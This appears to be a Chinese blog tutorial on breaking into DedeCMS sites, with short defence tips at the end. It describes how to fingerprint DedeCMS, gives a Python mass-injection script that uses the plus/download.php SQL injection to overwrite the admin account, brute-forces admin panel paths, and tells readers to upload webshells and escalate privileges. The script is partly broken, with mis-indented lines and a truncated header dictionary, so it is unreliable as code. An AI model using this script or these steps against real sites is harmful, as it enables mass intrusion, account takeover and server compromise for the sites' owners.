织梦DEDE网站的攻击流程和两种防御措施思路

  • A+
所属分类:织梦Dedecms教程

攻击网站信息收集很重要十分重要,简单的打个比方:如果攻击成功网站需要十分钟,那么网站信息刺探就需要7分钟左右,只有你了解了对方才能更好的渗透入侵。

  首先我们要想攻击具有DEDECMS程序的网站我们首先要知道这个网站是不是织梦CMS的网站,如何判断是否织梦DEDE程序。
    第一处信息刺探:如果你了解DEDE你会知道DEDE根目录下有个tags.php标签页很多站长关知道写标签了却忽略了,我们访问下http://域名/tags.php就可以源生的DEDE页面(图1)DEDE的logo和底部DEDE的版权。

织梦DEDE网站的攻击流程和两种防御措施思路

   第二处信息刺探:织梦DEDE程序有个会员系统,我们访问http://域名/member/login.php 也可以发现此网站是织梦,就算他关闭了也会显示dede的界面熟悉的一眼看透(图2)。

织梦DEDE网站的攻击流程和两种防御措施思路

   第三处信息刺探:打开网站文章我用火狐firebug查看文章里图片路径,(图片3)织梦DEDE程序特有的目录命名真是很不错都很独特,就算管理员怎么改都会发现这个程序的本质面目。如果你用过DEDE你会很熟悉例如此类图片路径src="/uploads/allimg/133413/8-1304.jpg" alt="织梦DEDE网站的攻击流程和两种防御措施思路"

织梦DEDE网站的攻击流程和两种防御措施思路

   第四处信息刺探:快捷键ctrl+U查看网站首页的源代码,观察html标签头部<head></head>之间的CSS和JS路径/templets/index/ 这也可以作为DEDE网站的标志,虽然有的网站也是如此路径命名(图4)有的时候我们更能猜透网站的模版。

织梦DEDE网站的攻击流程和两种防御措施思路

   还有很多地方可以查看出网站是否DEDE织梦 这里就不说了下来入侵过程脚本。关于dede的XSS攻击我就不写了百度下应该有。
   手动注入实在是比较麻烦,一个个站的一个来个python 直接开搞。这是一个把攻击脚本和注入脚本组合PY。有个2个参数一个 zhuru 和houtai代码如下:
-------------------------------------------代码分割线------------------------------------
#!/usr/bin/env python  
# -*- coding: utf-8 -*-  
import urllib
import httplib
import urllib2
import urlparse
import sys

def write2file(content):
   filename='waplogss.txt'
   f=open(filename,'a')
   f.write(content+"\n")
   f.close
def zhuru(url):
   if url<>'':
       zrurl=url+"plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35";
       req = urllib2.Request(zrurl)
       try:
           response = urllib2.urlopen(req)
       except Exception,e:
           pass
       except urllib2.URLError, e:
           if hasattr(e, 'code'):
               code=e.code
           elif hasattr(e, 'reason'):
               reason=e.reason
       else:
           content=response.read()
           if content.find("Safe Alert: Request Error step 2!")>0:
               msg=url+"--------------insert sql success"
               print msg
               write2file(msg)
       
def getstatus(url,shebei='pc'):
   code=''
   reason=''
   user_agent = 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16'
   httplib.HTTPConnection.debuglevel = 1     
   #req = urllib2.Request(url)
   send_headers = {
           'User-Agent':user_agent,
           'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,**")
   #req.add_header("Connection", "Keep-Alive")
   '''
   opener = urllib2.build_opener()
   address = opener.open(req)
   #redir_address = address.url
   #print redir_address
   #print address.headers.dict
   print address.headers
   '''
   try:
       response = urllib2.urlopen(req)
   except Exception,e:
           pass
   except urllib2.URLError, e:
       if hasattr(e, 'code'):
           code=e.code
       if hasattr(e, 'reason'):
           reason=e.reason
       print url+"--------"+str(reason)+str(code)
   else:
       the_page= response.getcode()
       relurl=response.geturl()
       #print relurl
       #print response.info()  
       ParseResult=urlparse.urlparse(relurl)
       relurl="http://"+ParseResult.netloc+"/"
       if url<>str(relurl):
           print url+"---------"+str(relurl)+"------------"+str(the_page)
           write2file(url+"---------------------"+str(the_page))
       else:
       print url+"---------"+str(relurl)+"------------"+str(the_page)
def gethoutai(url):
   code=''
   reason=''
   ParseResult=urlparse.urlparse(url)
   harr=ParseResult.netloc.split(".")
   hosta=harr[1]+"/"
   houtai=['houtai/','admin/','system/','guanli/','guanlihoutai/','dede_login','dedelogin/','login_dede/','logindede/','shoujiguanli/','shoujihoutai/',
          'houtaidenglu/','houtaiguanli/','wap_login/','dede1/','dede11/','dede111/','wapdede/',
          'wap_dede/','dede_wap/','waplogin/','loginwap/','wap_login/','login_wap/','wapadmin/','adminwap','wap_admin/','admin_wap/','admin_dede/',
          'dede_admin/','wap_manage/','dede_manage','manage_dede','dede/','guanlihoutai/','houtaiguanli/',
           'login-dede/','dede-login/','wap-login/','login-wap/','admin-dede/','dede-admin/','wap-admin/','admin-wap/','guanli-wap/','wap-guanli/','wap-manage/','manage-wap',
           'shouji-admin/','admin-shouji/','dede-manage/','manage-dede/',
           'admin_'+hosta,hosta,harr[1]+'_admin/','admin-'+hosta,hosta,harr[1]+'-admin/',
          harr[0]+"_"+harr[1]+'/',harr[0]+harr[1]+'/',harr[0]+harr[1]+'_login/',harr[0]+harr[1]+'-login/',harr[0]+harr[1]+'login/',harr[0]+harr[1]+'_admin/',harr[0]+harr[1]+'-admin/',
          harr[0]+harr[1]+'admin/',harr[0]+harr[1]+'dede/',harr[0]+harr[1]+'_dede/',harr[0]+harr[1]+'-dede/',harr[0]+harr[1]+'_manage/',harr[0]+harr[1]+'-manage/',harr[0]+harr[1]+'manage/',
           harr[1]+"dede/",harr[1]+"_dede/",harr[1]+"-dede/",harr[0]+"_dede/",harr[0]+"-dede/",harr[1]+"_admin/",harr[1]+"-admin/",harr[1]+"_manage/",harr[1]+"-manage/",
           harr[1]+"_houtai/",harr[1]+"_houtaiguanli/",harr[1]+"_guanli/",harr[1]+"-guanli/",
           ]

   for url_pre in houtai:
       wurl=url+url_pre
       #getstatus(wurl)
       req=urllib2.Request(wurl)
   print "1"
       try:
            response = urllib2.urlopen(req)
       except Exception,e:
           pass
       except urllib2.URLError, e:
           pass
       else:
           content=response.read()
           if content.find("用户名")>0:
               msg=wurl+"-------------后台找到了"
               print msg
               write2file(msg)

reload(sys)
sys.setdefaultencoding("utf-8")
if len(sys.argv)<2:
   print u"参数错误!"
   sys.exit()
filename=sys.argv[1]
opration=sys.argv[2]

print filename +"-----"+opration   

#for url in host:
for url in open(filename,'r'):
   url=url.replace("\n","").replace("\r","").replace(" ","")
   if opration=="houtai":
   gethoutai(url)
   elif opration=="zhuru":
       #getstatus(url)
       zhuru(url)
   
-------------------------------------------代码分割线------------------------------------

   我们把此文件命名abc.py你只要在你python环境下执行python abc.py abc.txt zhuru|houtai    abc.txt为你存放要注入的网站地址然后回车。然后会有结果在waplogss.txt出现(图5)

织梦DEDE网站的攻击流程和两种防御措施思路

   注入成功进入网站看看上传个木马。图6

织梦DEDE网站的攻击流程和两种防御措施思路

那么有时候我们还能怎么找到DEDE后台图8。  
/data/mysql_error_trace.inc
/data/mysqli_error_trace.inc

织梦DEDE网站的攻击流程和两种防御措施思路


进去后当然也可以用上传一句话木马连接。也可以上传webshell控制下来在继续提权服务器就好啦。

   渗透检测师的织梦DEDE的防御思路:现在织梦DEDE状态是漏洞发现速度比补丁的速度还要快。所以你刚打上这个补丁那个漏洞又出现,能不能换个思路。
   第一种织梦CMS安全防御:
   为什么一定要做线上的织梦CMS,我们在本地搭建网站然后和源文件进行PHP对比,比对现有源文件和生成后产生的HTML吧,促使生成的HTML和JS,css或者必要的flash文件上到线上,那么我们本地编辑生成修改,入侵者对于HTML静态文件就没办法了,其他PHP什么plus文件就不会在线上网站出现。也只能从渗透服务器端口来进行入侵大大提升了网站的安全性。

   第二种织梦CMS安全防御:让服务器默认对公众关闭php 访问,如果访问php就回复404 或403。这样有效防止PHP木马的访问。单独开个端口+vpn或apache验证来提供php后台 访问 。

   织梦CMS还有很多有研究同学可以继续研究 。没有安全的程序,我们要做到良好的维护习惯,定期查看日志了解官网补丁。防范于未然。

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin